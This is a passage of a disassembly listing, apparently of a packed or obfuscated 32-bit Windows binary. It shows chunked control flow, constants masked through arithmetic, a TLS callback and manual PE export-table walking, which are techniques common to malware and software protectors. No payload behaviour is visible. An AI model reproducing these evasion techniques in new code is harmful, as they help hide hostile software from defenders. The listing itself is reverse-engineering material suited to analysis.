; END OF FUNCTION CHUNK	FOR sub_42BE7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42DC4D:				; CODE XREF: sub_426535+212Fj
		jmp	nullsub_100
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426313


loc_42DC52:				; CODE XREF: sub_426313:loc_424276j
					; sub_426313+4D8Bj
		push	offset sub_42C61B
		jmp	loc_4268BB
; END OF FUNCTION CHUNK	FOR sub_426313

; =============== S U B	R O U T	I N E =======================================



sub_42DC5C	proc near		; CODE XREF: wto1jq8f:0042A09Dp

; FUNCTION CHUNK AT 00427FB6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042884C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042DE36 SIZE 00000005 BYTES

		mov	[esp+0], edx
		shl	eax, 5
		xor	ebx, ecx
		jns	loc_42884C
		rol	edx, 1Fh
		add	ecx, eax
		or	ebx, 909E18EEh
		jmp	loc_42DE36
sub_42DC5C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_42DC7A:				; CODE XREF: sub_4244EA:loc_42A708j
		jnz	loc_424690
; END OF FUNCTION CHUNK	FOR sub_4244EA
; START	OF FUNCTION CHUNK FOR sub_42A3EB


loc_42DC80:				; CODE XREF: sub_42A3EB+Cj
		jmp	loc_42CDF9
; END OF FUNCTION CHUNK	FOR sub_42A3EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4293FF


loc_42DC85:				; CODE XREF: sub_4293FF+13j
		jmp	loc_42BCCF
; END OF FUNCTION CHUNK	FOR sub_4293FF
; ---------------------------------------------------------------------------
		mov	ebp, [eax]
		sub	ebx, esi
		jo	loc_42BDB2
		jmp	loc_42468D
; ---------------------------------------------------------------------------


loc_42DC99:				; DATA XREF: wto1jq8f:004244DAo
		js	loc_42C475
		xor	ecx, ebx
		sub	edx, ebx
		cmp	edx, 1CF3C597h


loc_42DCA9:				; CODE XREF: wto1jq8f:0042D0B6j
		jmp	loc_42D0D3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_188. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA68


loc_42DCAF:				; CODE XREF: sub_42AA68+53B5j
		jmp	loc_42D186
; END OF FUNCTION CHUNK	FOR sub_42AA68

; =============== S U B	R O U T	I N E =======================================



sub_42DCB4	proc near		; CODE XREF: sub_42DCB4-695Dp
					; wto1jq8f:0042B41Fj

; FUNCTION CHUNK AT 00424C6D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425FC1 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00427349 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00428F11 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042950C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0042BE01 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042DCC6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042F5D2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F63A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FC5E SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		jz	loc_425FD1
		mov	edx, [ebx+ecx]
		jmp	loc_42FC5E
sub_42DCB4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DCB4


loc_42DCC6:				; CODE XREF: sub_42DCB4:loc_42BE01j
		mov	ebx, [eax+18h]
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		jmp	loc_424485
; END OF FUNCTION CHUNK	FOR sub_42DCB4
; ---------------------------------------------------------------------------
		call	sub_42EE54
; START	OF FUNCTION CHUNK FOR sub_429A28


loc_42DCDA:				; CODE XREF: sub_429A28+Ej
		jmp	nullsub_102
; END OF FUNCTION CHUNK	FOR sub_429A28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42760F


loc_42DCDF:				; CODE XREF: sub_42760F:loc_427772j
		lea	eax, [ebp-125h]
		push	eax
		call	sub_42DECB


loc_42DCEB:				; CODE XREF: wto1jq8f:0042D3E3j
		add	eax, ebp
		add	eax, 0CC58C5A9h
		mov	eax, [eax]
		and	dword ptr [eax+24h], 7FFFFFFFh
		lea	eax, [ebp-14h]
		push	eax
		jmp	loc_42CA4A
; END OF FUNCTION CHUNK	FOR sub_42760F
; ---------------------------------------------------------------------------


loc_42DD05:				; CODE XREF: wto1jq8f:loc_42F8E6j
		add	edi, 91A6CE52h
		xchg	edi, [esp]
		jmp	loc_424D84
; ---------------------------------------------------------------------------
		shl	ebx, 10h
		jmp	sub_429D4E
; ---------------------------------------------------------------------------
		add	edi, esi
		jmp	loc_42B274
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_42DD22:				; CODE XREF: sub_429BFF:loc_427A88j
		jnz	loc_424FE4
		jmp	loc_42C22D
; END OF FUNCTION CHUNK	FOR sub_429BFF

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DD2D	proc near		; CODE XREF: sub_426E98:loc_42FAFCp

; FUNCTION CHUNK AT 00424748 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004299F6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042DF6E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042E63F SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0042E8F8 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_42E504
		or	eax, eax
		jmp	loc_42E8F8
sub_42DD2D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		rol	ebx, 11h
		jmp	loc_4269CB
; ---------------------------------------------------------------------------
		push	ebx
		call	sub_4262CE
; START	OF FUNCTION CHUNK FOR sub_42D120


loc_42DD4F:				; CODE XREF: sub_42D120+8j
		jmp	loc_42B917
; END OF FUNCTION CHUNK	FOR sub_42D120
; ---------------------------------------------------------------------------


loc_42DD54:				; CODE XREF: wto1jq8f:loc_42D116j
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_42EC79
		jmp	loc_42B9C6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_77. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42DD64:				; CODE XREF: wto1jq8f:00429207j
		jmp	loc_42810B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F6A9


loc_42DD69:				; CODE XREF: sub_42F6A9:loc_424ECEj
		jz	loc_42898E


loc_42DD6F:				; CODE XREF: sub_42F745+13j
		jmp	loc_42C686
; END OF FUNCTION CHUNK	FOR sub_42F6A9
; ---------------------------------------------------------------------------
		dd 8A0FC103h, 0FFFFCB88h, 0BE9C533h, 2BFFFFACh,	27D581EAh
		dd 0E968D041h, 0FFFFF3A3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42DD90:				; CODE XREF: sub_42C486+2239j
		push	offset loc_42FE9F
		jmp	loc_42469F
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------


loc_42DD9A:				; CODE XREF: wto1jq8f:0042F29Aj
		pop	ebp
; START	OF FUNCTION CHUNK FOR sub_42AAF6


loc_42DD9B:				; CODE XREF: sub_42AAF6+6F4j
		add	ebx, 3EDB7720h
		xchg	ebx, [esp+4+var_4]
		jmp	sub_42FB2F
; END OF FUNCTION CHUNK	FOR sub_42AAF6
; ---------------------------------------------------------------------------
		rol	ecx, 3
		jmp	loc_42A888
; ---------------------------------------------------------------------------


loc_42DDB1:				; CODE XREF: wto1jq8f:loc_429FB6j
		adc	ebp, 31191BFAh
		jmp	loc_424977
; ---------------------------------------------------------------------------


loc_42DDBC:				; DATA XREF: sub_426E65+8o
		xor	[esi], ebx
		add	[esi], ecx


loc_42DDC0:				; CODE XREF: wto1jq8f:loc_42D197j
		xor	[esi], edx
		push	offset loc_428CD0
		jmp	locret_4264C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426144


loc_42DDCC:				; CODE XREF: sub_426144+10j
		test	eax, 1
		jz	loc_428361
		jmp	loc_42E2EB
; END OF FUNCTION CHUNK	FOR sub_426144
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424ADA


loc_42DDDC:				; CODE XREF: sub_424ADA:loc_4273F2j
		mov	esi, edi
		rol	edi, 1Fh
		jmp	loc_426ED4
; END OF FUNCTION CHUNK	FOR sub_424ADA

; =============== S U B	R O U T	I N E =======================================



sub_42DDE6	proc near		; CODE XREF: wto1jq8f:004289EFj
					; sub_429D2E:loc_42F12Ap

; FUNCTION CHUNK AT 00426388 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B535 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042D52C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EF69 SIZE 00000006 BYTES

		mov	[esp+0], edi
		pop	edi
		push	8525D20Ch
		pop	edx
		or	edx, 0D9630A6Ah
		test	edx, 2000h


loc_42DDFC:				; CODE XREF: wto1jq8f:0042F95Aj
		jmp	loc_42D52C
sub_42DDE6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428AC6


loc_42DE02:				; CODE XREF: sub_428AC6+579Cj
		jmp	loc_427EC2
; END OF FUNCTION CHUNK	FOR sub_428AC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F7AD


loc_42DE07:				; CODE XREF: sub_42F7AD:loc_42CCD4j
		push	offset sub_42E555
		jmp	nullsub_248
; END OF FUNCTION CHUNK	FOR sub_42F7AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F6A9


loc_42DE11:				; CODE XREF: sub_42F6A9-9AA1j
		mov	eax, [ebp+0]
		test	edx, 0D8B10D16h
		jmp	loc_42A10F
; END OF FUNCTION CHUNK	FOR sub_42F6A9

; =============== S U B	R O U T	I N E =======================================



sub_42DE1F	proc near		; CODE XREF: sub_429BD3-5917p
					; wto1jq8f:0042DA88j

; FUNCTION CHUNK AT 0042DE3B SIZE 0000000E BYTES

		mov	[esp+0], eax
		pop	eax
		push	edx
		push	0F09F0624h
		pop	edx
		or	edx, 0A61E270Bh
		js	loc_42DE3B
sub_42DE1F	endp

; START	OF FUNCTION CHUNK FOR sub_42DC5C


loc_42DE36:				; CODE XREF: sub_42DC5C+19j
		jmp	loc_427FB6
; END OF FUNCTION CHUNK	FOR sub_42DC5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DE1F


loc_42DE3B:				; CODE XREF: wto1jq8f:004262C1j
					; sub_42DE1F+11j
		add	edx, 9A3251Dh
		xchg	edx, [esp+0]
		jmp	sub_42AECE
; END OF FUNCTION CHUNK	FOR sub_42DE1F
; ---------------------------------------------------------------------------


loc_42DE49:				; CODE XREF: wto1jq8f:0042A327j
		jnz	loc_42FDA6
		jmp	loc_42808C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A197


loc_42DE54:				; CODE XREF: sub_42A197:loc_4288D3j
		add	ebx, ecx
		or	ebx, 179654D9h
		cdq
		xchg	ecx, eax
		jmp	loc_42EFBE
; END OF FUNCTION CHUNK	FOR sub_42A197
; ---------------------------------------------------------------------------


loc_42DE64:				; CODE XREF: wto1jq8f:00426D24j
		pushf

; =============== S U B	R O U T	I N E =======================================



sub_42DE65	proc near		; CODE XREF: sub_4244EA:loc_42A4DFp

; FUNCTION CHUNK AT 0042B7C6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042BA12 SIZE 0000000A BYTES

		xchg	edx, [esp+0]
		pop	edx
		inc	dword ptr [ebp-4]
		jmp	loc_42B7C6
sub_42DE65	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42DE71:				; CODE XREF: wto1jq8f:0042FA51j
		jnz	loc_42AA2A

; =============== S U B	R O U T	I N E =======================================



sub_42DE77	proc near		; CODE XREF: sub_42C43B-7FE3p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042972A SIZE 0000000E BYTES

		mov	[esp+4+var_4], esi
		pop	esi
		pop	edx
		jmp	loc_42972A
sub_42DE77	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42DE81:				; CODE XREF: wto1jq8f:00425988j
		jnb	loc_428943

; =============== S U B	R O U T	I N E =======================================



sub_42DE87	proc near		; CODE XREF: sub_4282C1+579Ep

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00424A59 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428116 SIZE 0000001E BYTES

		mov	[esp+8+var_8], edx
		pop	edx
		add	ecx, 7734205Bh
		xchg	ecx, [esp+0]
		jmp	loc_424A59
sub_42DE87	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		lea	eax, sub_42A59B
		mov	[ebp-4], eax
		push	edx
		push	0C4C2F45Dh
		jmp	loc_42FB54
; ---------------------------------------------------------------------------

locret_42DEAD:				; CODE XREF: wto1jq8f:0042E2B8j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42DEAE:				; CODE XREF: sub_42C486-4B10j
		and	ecx, 7
		mov	al, 1
		shl	al, cl
		mov	edx, [ebp-14h]
		shr	edx, 3
		push	0C468EE20h
		jmp	loc_42A0D3
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D69D


loc_42DEC5:				; CODE XREF: sub_42D69D+279Cj
		pop	edx
		call	sub_42859D
; END OF FUNCTION CHUNK	FOR sub_42D69D

; =============== S U B	R O U T	I N E =======================================



sub_42DECB	proc near		; CODE XREF: sub_42760F+66D7p
					; wto1jq8f:0042FE12j

; FUNCTION CHUNK AT 0042596A SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_42D910
		mov	[ebp-4], eax
		jmp	loc_42596A
sub_42DECB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42760F


loc_42DEDC:				; CODE XREF: sub_42760F:loc_4249B2j
		lea	eax, [ebp-125h]
		push	eax
		call	sub_42B02D
		jmp	loc_425D9D
; END OF FUNCTION CHUNK	FOR sub_42760F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FC41


loc_42DEED:				; CODE XREF: sub_42FC41+Aj
		xor	eax, eax
		push	offset loc_42DBC5
		jmp	nullsub_188
; END OF FUNCTION CHUNK	FOR sub_42FC41
; ---------------------------------------------------------------------------


loc_42DEF9:				; CODE XREF: wto1jq8f:00429545j
		jb	sub_426144

; =============== S U B	R O U T	I N E =======================================



sub_42DEFF	proc near		; CODE XREF: sub_42E9E8:loc_4284A1p

; FUNCTION CHUNK AT 00427949 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AA4E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042B03D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C660 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C72A SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0042CAAC SIZE 00000026 BYTES

		mov	[esp+0], eax
		pop	eax


loc_42DF03:				; CODE XREF: wto1jq8f:loc_427A4Dj
		push	0E4D3BFB8h
		pop	eax


loc_42DF09:				; CODE XREF: sub_426535-1870j
		and	eax, 0C0D36C17h
		xor	eax, 5255C99Dh
		jmp	loc_42C660
sub_42DEFF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_42DF1A:				; CODE XREF: sub_426968+2E30j
		add	ebx, 6AAD9708h
		ror	esi, 1Ah


loc_42DF23:				; CODE XREF: sub_426968:loc_426B0Aj
		mov	eax, [ebp-4]
		push	ecx
		push	90E45DABh
		pop	ecx
		rol	ecx, 2
		test	ecx, 2
		jmp	loc_4280CC
; END OF FUNCTION CHUNK	FOR sub_426968

; =============== S U B	R O U T	I N E =======================================



sub_42DF3B	proc near		; CODE XREF: wto1jq8f:00426659p
					; wto1jq8f:004278E6j

arg_0		= dword	ptr  4

		mov	[esp+0], ebx
		pop	ebx
		push	6D8758F0h
		pop	esi
		add	esi, 92BB79B2h
		xchg	esi, [esp-4+arg_0]
		jmp	loc_42BE99
sub_42DF3B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42DF53:				; CODE XREF: sub_428E81+10j
		or	eax, 639E1B2Eh
		add	eax, 1CA44BC2h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_42C883
		jmp	loc_42B952
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD2D


loc_42DF6E:				; CODE XREF: sub_42DD2D:loc_42E8F8j
		jnz	loc_4299F6
		push	ecx
		push	0F5C4476Ch
		pop	ecx
		jmp	loc_424748
; END OF FUNCTION CHUNK	FOR sub_42DD2D

; =============== S U B	R O U T	I N E =======================================



sub_42DF80	proc near		; DATA XREF: sub_4262CE-216Do
		xchg	ecx, [esp+0]
		jmp	sub_424F23
sub_42DF80	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR TlsCallback_0


loc_42DF88:				; CODE XREF: TlsCallback_0:loc_4299B2j
					; TlsCallback_0+1B98j
		mov	eax, 62h
		call	sub_428183
		call	sub_42A14D
; END OF FUNCTION CHUNK	FOR TlsCallback_0
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_42DF97:				; CODE XREF: sub_4244EA+5947j
		jmp	loc_42F93C
; END OF FUNCTION CHUNK	FOR sub_4244EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426144


loc_42DF9C:				; CODE XREF: sub_426144-159Fj
		jmp	loc_42D989
; END OF FUNCTION CHUNK	FOR sub_426144
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F614


loc_42DFA2:				; CODE XREF: sub_42F614-EBFj
		jmp	loc_427FC2
; END OF FUNCTION CHUNK	FOR sub_42F614
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42DFA7:				; CODE XREF: sub_426E98+46BDj
		jmp	loc_42C3E5
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428310


loc_42DFAC:				; CODE XREF: sub_428310+Ej
		jmp	loc_4282F4
; END OF FUNCTION CHUNK	FOR sub_428310
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_42DFB1:				; CODE XREF: sub_426968+22B9j
					; sub_426968:loc_42B7DCj
		mov	eax, [ebp-0Ch]
		movzx	eax, byte ptr [eax]
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		jmp	loc_4264CE
; END OF FUNCTION CHUNK	FOR sub_426968
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_215. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42DFC3:				; CODE XREF: sub_426E98+28D6j
		js	loc_42CDFE
		or	edi, ecx
		jmp	loc_42EC39
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AECE


loc_42DFD0:				; CODE XREF: sub_42AECE-21BCj
		mov	edx, eax
		xchg	edx, [esp-8+arg_4]
		call	sub_42D765
		retn
; END OF FUNCTION CHUNK	FOR sub_42AECE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4293FF


loc_42DFDB:				; CODE XREF: sub_4293FF-E20j
		jmp	nullsub_118
; END OF FUNCTION CHUNK	FOR sub_4293FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_42DFE0:				; CODE XREF: sub_42506F+1C2Bj
		jmp	loc_42B6F9
; END OF FUNCTION CHUNK	FOR sub_42506F

; =============== S U B	R O U T	I N E =======================================



sub_42DFE5	proc near		; CODE XREF: sub_42727F:loc_426E20j
					; sub_4296B3+3p ...
		jnz	sub_426313
		jmp	sub_42716A
sub_42DFE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42DFF0	proc near		; DATA XREF: sub_426D4F:loc_42E8AAo
		push	eax
		call	sub_42FC50

locret_42DFF6:				; CODE XREF: sub_42E9E8:loc_42C080j
		retn
sub_42DFF0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED01


loc_42DFF7:				; CODE XREF: sub_42ED01-9D5Ej
		jmp	loc_42B7F0
; END OF FUNCTION CHUNK	FOR sub_42ED01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282C1


loc_42DFFC:				; CODE XREF: sub_4282C1:loc_42B0D8j
		add	eax, 8A7DED42h
		xchg	eax, [esp+0]
		push	0
		push	ecx
		jmp	loc_42DA4D
; END OF FUNCTION CHUNK	FOR sub_4282C1
; ---------------------------------------------------------------------------
		mov	edx, 0F7C6D0F8h
		push	edi
		push	0E49F8E64h
		pop	edi
		sub	edi, 7603BDBCh
		jmp	loc_42F8E6
; ---------------------------------------------------------------------------
		adc	ebp, edx
		jmp	sub_42E04D
; ---------------------------------------------------------------------------
		sbb	ecx, 2776DE99h
		xchg	esi, ecx
		jmp	sub_429AE8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_92. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A3EB


loc_42E039:				; CODE XREF: sub_42A3EB+2A24j
		jmp	loc_425B62
; END OF FUNCTION CHUNK	FOR sub_42A3EB
; ---------------------------------------------------------------------------
		sbb	esi, ebx
		jmp	sub_42D71D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42481C


loc_42E045:				; CODE XREF: sub_42481C:loc_42F628j
		ror	esi, 8
		jmp	loc_42A257
; END OF FUNCTION CHUNK	FOR sub_42481C

; =============== S U B	R O U T	I N E =======================================



sub_42E04D	proc near		; CODE XREF: sub_428C71:loc_42892Ep
					; wto1jq8f:0042E026j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004272E9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A5EC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C7E3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042E27E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042FE07 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FEE3 SIZE 0000000F BYTES

		mov	[esp+0], ecx
		pop	ecx
		add	eax, ebp
		add	eax, 4EEF06BAh
		mov	eax, [eax]
		push	eax
		call	sub_42AECE


loc_42E061:				; CODE XREF: wto1jq8f:00426573j
					; sub_428C71+40FAj
		mov	eax, 120h
		jmp	loc_42FE07
sub_42E04D	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_169. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C6F9


loc_42E06C:				; CODE XREF: sub_42C6F9+12j
		jmp	nullsub_120
; END OF FUNCTION CHUNK	FOR sub_42C6F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AAC3


loc_42E071:				; CODE XREF: sub_42AAC3+18Dj
		jmp	loc_4294A0
; END OF FUNCTION CHUNK	FOR sub_42AAC3

; =============== S U B	R O U T	I N E =======================================



sub_42E076	proc near		; CODE XREF: wto1jq8f:00428ADFj
					; sub_42AA68+5p

arg_C		= dword	ptr  10h

		mov	[esp+0], edx
		pop	edx
		push	ecx
		mov	ecx, [esp+arg_C]
		call	sub_42C786


loc_42E084:				; CODE XREF: sub_42DCB4:loc_42F5D2j
		pop	ebx
		retn
sub_42E076	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42E086:				; CODE XREF: sub_42C486+10j
		jmp	loc_4249ED
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------


loc_42E08B:				; CODE XREF: wto1jq8f:0042AFA0j
		jmp	locret_426CBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B02D


loc_42E090:				; CODE XREF: sub_42B02D+377j
					; sub_42B02D+494j ...
		push	offset loc_42FDF3
		jmp	loc_428D18
; END OF FUNCTION CHUNK	FOR sub_42B02D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42E09A:				; CODE XREF: sub_426E98+4BD7j
		jz	loc_42E0A8


loc_42E0A0:				; CODE XREF: sub_426E98:loc_42CAF0j
		mov	ebx, [ebx+ecx]
		call	sub_428B05
; END OF FUNCTION CHUNK	FOR sub_426E98
; START	OF FUNCTION CHUNK FOR sub_425E35


loc_42E0A8:				; CODE XREF: sub_426E98+72j
					; sub_426E98+D9Aj ...
		jz	loc_42647D
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		jmp	loc_429B0D
; END OF FUNCTION CHUNK	FOR sub_425E35
; ---------------------------------------------------------------------------
		mov	edx, 30DFC367h
		push	edx
		push	77DD9DDCh
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_42E0C6:				; CODE XREF: sub_429B76:loc_427B95j
		and	edx, 0AD0BA7C9h
		jmp	loc_4247ED
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A5BE


loc_42E0D1:				; CODE XREF: sub_42A5BE+1j
		pushf
		push	20720688h
		call	sub_42FBB5


loc_42E0DC:				; CODE XREF: sub_42E4EA+Cj
		jmp	nullsub_122
; END OF FUNCTION CHUNK	FOR sub_42A5BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E541


loc_42E0E1:				; CODE XREF: sub_42E541-58DEj
		jmp	nullsub_132
; END OF FUNCTION CHUNK	FOR sub_42E541

; =============== S U B	R O U T	I N E =======================================



sub_42E0E6	proc near		; CODE XREF: sub_424D58+770Ep
		mov	[esp+0], eax
		push	23DA22F7h
		pop	eax
		add	eax, 0DC68D2CCh
		xchg	eax, [esp+0]
		jmp	sub_427A8D
sub_42E0E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42E0FD	proc near		; CODE XREF: sub_42596F+7p
					; wto1jq8f:0042F960j

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004273C5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427F61 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428A67 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004290B3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429617 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00429B61 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B2FC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042B3EC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042BDE4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042C665 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EE7A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EEA9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FF5B SIZE 00000002 BYTES

		mov	[esp+0], ebx
		pop	ebx
		mov	ebp, esp
		call	sub_42B0AE


loc_42E108:				; CODE XREF: sub_428430:loc_42A7DDj
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		xchg	edx, [esp+0]
		jmp	loc_42EEA9
sub_42E0FD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42E115	proc near		; DATA XREF: wto1jq8f:0042AF36o

arg_4		= dword	ptr  8

		push	0F25FCAE5h
		pop	edx
		add	edx, 0A0EBEA67h
		sub	eax, ecx
		pop	edx
		pop	eax
		mov	ebx, offset sub_428845
		xchg	ebx, [esp-8+arg_4]
		jmp	nullsub_239
sub_42E115	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282C1


loc_42E132:				; CODE XREF: sub_4282C1+7B86j
		mov	edi, 0CB6A71D0h


loc_42E137:				; CODE XREF: sub_4282C1:loc_42D3C6j
		push	eax
		push	97A826Ah
		pop	eax
		add	eax, 55A49F16h
		jmp	loc_42A337
; END OF FUNCTION CHUNK	FOR sub_4282C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424702


loc_42E149:				; CODE XREF: sub_424702:loc_42A945j
		jz	loc_4245A1
		mov	eax, [ebp-4]
		inc	eax
		push	offset loc_424FB3
		jmp	loc_424723
; END OF FUNCTION CHUNK	FOR sub_424702
; ---------------------------------------------------------------------------


loc_42E15D:				; CODE XREF: wto1jq8f:0042EB1Ej
		test	al, al
		jz	loc_42C5F6
		jmp	loc_42E217
; ---------------------------------------------------------------------------
		mov	eax, ecx
		jmp	loc_42FA0D
; ---------------------------------------------------------------------------
